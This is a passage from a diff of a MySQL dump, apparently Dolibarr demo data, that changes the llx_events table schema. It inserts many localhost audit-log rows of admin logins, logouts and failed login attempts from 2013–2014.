varchar(250) NOT NULL, + `ip` varchar(250) DEFAULT NULL, + `user_agent` varchar(255) DEFAULT NULL, `fk_object` int(11) DEFAULT NULL, - `prefix_session` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `authentication_method` varchar(64) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `prefix_session` varchar(255) DEFAULT NULL, + `authentication_method` varchar(64) DEFAULT NULL, `fk_oauth_token` int(11) DEFAULT NULL, PRIMARY KEY (`rowid`), KEY `idx_events_dateevent` (`dateevent`) -) ENGINE=InnoDB AUTO_INCREMENT=1097 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +) ENGINE=InnoDB AUTO_INCREMENT=1409 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -6184,7 +5458,7 @@ CREATE TABLE `llx_events` ( LOCK TABLES `llx_events` WRITE; /*!40000 ALTER TABLE `llx_events` DISABLE KEYS */; -INSERT INTO `llx_events` VALUES (30,'2013-07-18 18:23:06','USER_LOGOUT',1,'2013-07-18 20:23:06',1,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(31,'2013-07-18 18:23:12','USER_LOGIN_FAILED',1,'2013-07-18 20:23:12',NULL,'Identifiants login ou mot de passe incorrects - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(32,'2013-07-18 18:23:17','USER_LOGIN',1,'2013-07-18 20:23:17',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(33,'2013-07-18 20:10:51','USER_LOGIN_FAILED',1,'2013-07-18 22:10:51',NULL,'Identifiants login ou mot de passe incorrects - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(34,'2013-07-18 20:10:55','USER_LOGIN',1,'2013-07-18 22:10:55',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(35,'2013-07-18 21:18:57','USER_LOGIN',1,'2013-07-18 23:18:57',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(36,'2013-07-20 10:34:10','USER_LOGIN',1,'2013-07-20 12:34:10',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(37,'2013-07-20 12:36:44','USER_LOGIN',1,'2013-07-20 14:36:44',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(38,'2013-07-20 13:20:51','USER_LOGIN_FAILED',1,'2013-07-20 15:20:51',NULL,'Identifiants login ou mot de passe incorrects - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(39,'2013-07-20 13:20:54','USER_LOGIN',1,'2013-07-20 15:20:54',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(40,'2013-07-20 15:03:46','USER_LOGIN_FAILED',1,'2013-07-20 17:03:46',NULL,'Identifiants login ou mot de passe incorrects - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(41,'2013-07-20 15:03:55','USER_LOGIN',1,'2013-07-20 17:03:55',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(42,'2013-07-20 18:05:05','USER_LOGIN_FAILED',1,'2013-07-20 20:05:05',NULL,'Identifiants login ou mot de passe incorrects - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(43,'2013-07-20 18:05:08','USER_LOGIN',1,'2013-07-20 20:05:08',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(44,'2013-07-20 21:08:53','USER_LOGIN_FAILED',1,'2013-07-20 23:08:53',NULL,'Identifiants login ou mot de passe incorrects - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(45,'2013-07-20 21:08:56','USER_LOGIN',1,'2013-07-20 23:08:56',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(46,'2013-07-21 01:26:12','USER_LOGIN',1,'2013-07-21 03:26:12',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(47,'2013-07-21 22:35:45','USER_LOGIN_FAILED',1,'2013-07-22 00:35:45',NULL,'Identifiants login ou mot de passe incorrects - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(48,'2013-07-21 22:35:49','USER_LOGIN',1,'2013-07-22 00:35:49',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(49,'2013-07-26 23:09:47','USER_LOGIN_FAILED',1,'2013-07-27 01:09:47',NULL,'Identifiants login ou mot de passe incorrects - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(50,'2013-07-26 23:09:50','USER_LOGIN',1,'2013-07-27 01:09:50',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(51,'2013-07-27 17:02:27','USER_LOGIN_FAILED',1,'2013-07-27 19:02:27',NULL,'Identifiants login ou mot de passe incorrects - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(52,'2013-07-27 17:02:32','USER_LOGIN',1,'2013-07-27 19:02:32',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(53,'2013-07-27 23:33:37','USER_LOGIN_FAILED',1,'2013-07-28 01:33:37',NULL,'Identifiants login ou mot de passe incorrects - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(54,'2013-07-27 23:33:41','USER_LOGIN',1,'2013-07-28 01:33:41',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(55,'2013-07-28 18:20:36','USER_LOGIN_FAILED',1,'2013-07-28 20:20:36',NULL,'Identifiants login ou mot de passe incorrects - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(56,'2013-07-28 18:20:38','USER_LOGIN',1,'2013-07-28 20:20:38',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(57,'2013-07-28 20:13:30','USER_LOGIN_FAILED',1,'2013-07-28 22:13:30',NULL,'Identifiants login ou mot de passe incorrects - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(58,'2013-07-28 20:13:34','USER_LOGIN',1,'2013-07-28 22:13:34',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(59,'2013-07-28 20:22:51','USER_LOGIN',1,'2013-07-28 22:22:51',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(60,'2013-07-28 23:05:06','USER_LOGIN',1,'2013-07-29 01:05:06',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(61,'2013-07-29 20:15:50','USER_LOGIN_FAILED',1,'2013-07-29 22:15:50',NULL,'Identifiants login ou mot de passe incorrects - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(62,'2013-07-29 20:15:53','USER_LOGIN',1,'2013-07-29 22:15:53',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(68,'2013-07-29 20:51:01','USER_LOGOUT',1,'2013-07-29 22:51:01',1,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(69,'2013-07-29 20:51:05','USER_LOGIN',1,'2013-07-29 22:51:05',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(70,'2013-07-30 08:46:20','USER_LOGIN_FAILED',1,'2013-07-30 10:46:20',NULL,'Identifiants login ou mot de passe incorrects - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(71,'2013-07-30 08:46:38','USER_LOGIN_FAILED',1,'2013-07-30 10:46:38',NULL,'Identifiants login ou mot de passe incorrects - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(72,'2013-07-30 08:46:42','USER_LOGIN',1,'2013-07-30 10:46:42',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(73,'2013-07-30 10:05:12','USER_LOGIN_FAILED',1,'2013-07-30 12:05:12',NULL,'Identifiants login ou mot de passe incorrects - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(74,'2013-07-30 10:05:15','USER_LOGIN',1,'2013-07-30 12:05:15',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(75,'2013-07-30 12:15:46','USER_LOGIN',1,'2013-07-30 14:15:46',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(76,'2013-07-31 22:19:30','USER_LOGIN',1,'2013-08-01 00:19:30',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(77,'2013-07-31 23:32:52','USER_LOGIN',1,'2013-08-01 01:32:52',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(78,'2013-08-01 01:24:50','USER_LOGIN_FAILED',1,'2013-08-01 03:24:50',NULL,'Identifiants login ou mot de passe incorrects - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(79,'2013-08-01 01:24:54','USER_LOGIN',1,'2013-08-01 03:24:54',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(80,'2013-08-01 19:31:36','USER_LOGIN_FAILED',1,'2013-08-01 21:31:35',NULL,'Identifiants login ou mot de passe incorrects - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(81,'2013-08-01 19:31:39','USER_LOGIN',1,'2013-08-01 21:31:39',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(82,'2013-08-01 20:01:36','USER_LOGIN',1,'2013-08-01 22:01:36',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(83,'2013-08-01 20:52:54','USER_LOGIN_FAILED',1,'2013-08-01 22:52:54',NULL,'Identifiants login ou mot de passe incorrects - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(84,'2013-08-01 20:52:58','USER_LOGIN',1,'2013-08-01 22:52:58',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(85,'2013-08-01 21:17:28','USER_LOGIN_FAILED',1,'2013-08-01 23:17:28',NULL,'Identifiants login ou mot de passe incorrects - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(86,'2013-08-01 21:17:31','USER_LOGIN',1,'2013-08-01 23:17:31',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(87,'2013-08-04 11:55:17','USER_LOGIN',1,'2013-08-04 13:55:17',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(88,'2013-08-04 20:19:03','USER_LOGIN_FAILED',1,'2013-08-04 22:19:03',NULL,'Identifiants login ou mot de passe incorrects - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(89,'2013-08-04 20:19:07','USER_LOGIN',1,'2013-08-04 22:19:07',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(90,'2013-08-05 17:51:42','USER_LOGIN_FAILED',1,'2013-08-05 19:51:42',NULL,'Identifiants login ou mot de passe incorrects - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(91,'2013-08-05 17:51:47','USER_LOGIN',1,'2013-08-05 19:51:47',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(92,'2013-08-05 17:56:03','USER_LOGIN',1,'2013-08-05 19:56:03',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(93,'2013-08-05 17:59:10','USER_LOGIN',1,'2013-08-05 19:59:10',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.100 Safari/534.30',NULL,NULL,NULL,NULL),(94,'2013-08-05 18:01:58','USER_LOGIN',1,'2013-08-05 20:01:58',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.100 Safari/534.30',NULL,NULL,NULL,NULL),(95,'2013-08-05 19:59:56','USER_LOGIN',1,'2013-08-05 21:59:56',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(96,'2013-08-06 18:33:22','USER_LOGIN',1,'2013-08-06 20:33:22',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(97,'2013-08-07 00:56:59','USER_LOGIN',1,'2013-08-07 02:56:59',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(98,'2013-08-07 22:49:14','USER_LOGIN',1,'2013-08-08 00:49:14',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(99,'2013-08-07 23:05:18','USER_LOGOUT',1,'2013-08-08 01:05:18',1,'(UserLogoff,admin)','::1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(105,'2013-08-08 00:41:09','USER_LOGIN',1,'2013-08-08 02:41:09',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(106,'2013-08-08 11:58:55','USER_LOGIN',1,'2013-08-08 13:58:55',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(107,'2013-08-08 14:35:48','USER_LOGIN',1,'2013-08-08 16:35:48',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(108,'2013-08-08 14:36:31','USER_LOGOUT',1,'2013-08-08 16:36:31',1,'(UserLogoff,admin)','::1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(109,'2013-08-08 14:38:28','USER_LOGIN',1,'2013-08-08 16:38:28',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(110,'2013-08-08 14:39:02','USER_LOGOUT',1,'2013-08-08 16:39:02',1,'(UserLogoff,admin)','::1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(111,'2013-08-08 14:39:10','USER_LOGIN',1,'2013-08-08 16:39:10',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(112,'2013-08-08 14:39:28','USER_LOGOUT',1,'2013-08-08 16:39:28',1,'(UserLogoff,admin)','::1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(113,'2013-08-08 14:39:37','USER_LOGIN',1,'2013-08-08 16:39:37',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(114,'2013-08-08 14:50:02','USER_LOGOUT',1,'2013-08-08 16:50:02',1,'(UserLogoff,admin)','::1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(115,'2013-08-08 14:51:45','USER_LOGIN_FAILED',1,'2013-08-08 16:51:45',NULL,'Identifiants login ou mot de passe incorrects - login=','::1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(116,'2013-08-08 14:51:52','USER_LOGIN',1,'2013-08-08 16:51:52',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(117,'2013-08-08 15:09:54','USER_LOGOUT',1,'2013-08-08 17:09:54',1,'(UserLogoff,admin)','::1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(118,'2013-08-08 15:10:19','USER_LOGIN_FAILED',1,'2013-08-08 17:10:19',NULL,'Identifiants login ou mot de passe incorrects - login=','::1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(119,'2013-08-08 15:10:28','USER_LOGIN',1,'2013-08-08 17:10:28',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(121,'2013-08-08 15:14:58','USER_LOGOUT',1,'2013-08-08 17:14:58',1,'(UserLogoff,admin)','::1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(122,'2013-08-08 15:15:00','USER_LOGIN_FAILED',1,'2013-08-08 17:15:00',NULL,'Identifiants login ou mot de passe incorrects - login=','::1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(123,'2013-08-08 15:17:57','USER_LOGIN',1,'2013-08-08 17:17:57',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(124,'2013-08-08 15:35:56','USER_LOGOUT',1,'2013-08-08 17:35:56',1,'(UserLogoff,admin)','::1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(125,'2013-08-08 15:36:05','USER_LOGIN',1,'2013-08-08 17:36:05',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(126,'2013-08-08 17:32:42','USER_LOGIN',1,'2013-08-08 19:32:42',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(127,'2014-12-08 13:49:37','USER_LOGOUT',1,'2014-12-08 14:49:37',1,'(UserLogoff,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11',NULL,NULL,NULL,NULL),(128,'2014-12-08 13:49:42','USER_LOGIN',1,'2014-12-08 14:49:42',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11',NULL,NULL,NULL,NULL),(129,'2014-12-08 13:50:12','USER_LOGOUT',1,'2014-12-08 14:50:12',1,'(UserLogoff,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11',NULL,NULL,NULL,NULL),(130,'2014-12-08 13:50:14','USER_LOGIN',1,'2014-12-08 14:50:14',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11',NULL,NULL,NULL,NULL),(131,'2014-12-08 13:50:17','USER_LOGOUT',1,'2014-12-08 14:50:17',1,'(UserLogoff,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11',NULL,NULL,NULL,NULL),(132,'2014-12-08 13:52:47','USER_LOGIN',1,'2014-12-08 14:52:47',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11',NULL,NULL,NULL,NULL),(133,'2014-12-08 13:53:08','USER_MODIFY',1,'2014-12-08 14:53:08',1,'User admin modified','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11',NULL,NULL,NULL,NULL),(134,'2014-12-08 14:08:45','USER_LOGOUT',1,'2014-12-08 15:08:45',1,'(UserLogoff,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11',NULL,NULL,NULL,NULL),(135,'2014-12-08 14:09:09','USER_LOGIN',1,'2014-12-08 15:09:09',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11',NULL,NULL,NULL,NULL),(136,'2014-12-08 14:11:43','USER_LOGOUT',1,'2014-12-08 15:11:43',1,'(UserLogoff,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11',NULL,NULL,NULL,NULL),(137,'2014-12-08 14:11:45','USER_LOGIN',1,'2014-12-08 15:11:45',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11',NULL,NULL,NULL,NULL),(138,'2014-12-08 14:22:53','USER_LOGOUT',1,'2014-12-08 15:22:53',1,'(UserLogoff,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11',NULL,NULL,NULL,NULL),(139,'2014-12-08 14:22:54','USER_LOGIN',1,'2014-12-08 15:22:54',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11',NULL,NULL,NULL,NULL),(140,'2014-12-08 14:23:10','USER_LOGOUT',1,'2014-12-08 15:23:10',1,'(UserLogoff,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11',NULL,NULL,NULL,NULL),(141,'2014-12-08 14:23:11','USER_LOGIN',1,'2014-12-08 15:23:11',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11',NULL,NULL,NULL,NULL),(142,'2014-12-08 14:23:49','USER_LOGOUT',1,'2014-12-08 15:23:49',1,'(UserLogoff,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11',NULL,NULL,NULL,NULL),(143,'2014-12-08 14:23:50','USER_LOGIN',1,'2014-12-08 15:23:50',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11',NULL,NULL,NULL,NULL),(144,'2014-12-08 14:28:08','USER_LOGOUT',1,'2014-12-08 15:28:08',1,'(UserLogoff,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11',NULL,NULL,NULL,NULL),(145,'2014-12-08 14:35:15','USER_LOGIN',1,'2014-12-08 15:35:15',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11',NULL,NULL,NULL,NULL),(146,'2014-12-08 14:35:18','USER_LOGOUT',1,'2014-12-08 15:35:18',1,'(UserLogoff,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11',NULL,NULL,NULL,NULL),(147,'2014-12-08 14:36:07','USER_LOGIN',1,'2014-12-08 15:36:07',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11',NULL,NULL,NULL,NULL),(148,'2014-12-08 14:36:09','USER_LOGOUT',1,'2014-12-08 15:36:09',1,'(UserLogoff,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11',NULL,NULL,NULL,NULL),(149,'2014-12-08 14:36:41','USER_LOGIN',1,'2014-12-08 15:36:41',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11',NULL,NULL,NULL,NULL),(150,'2014-12-08 15:59:13','USER_LOGIN',1,'2014-12-08 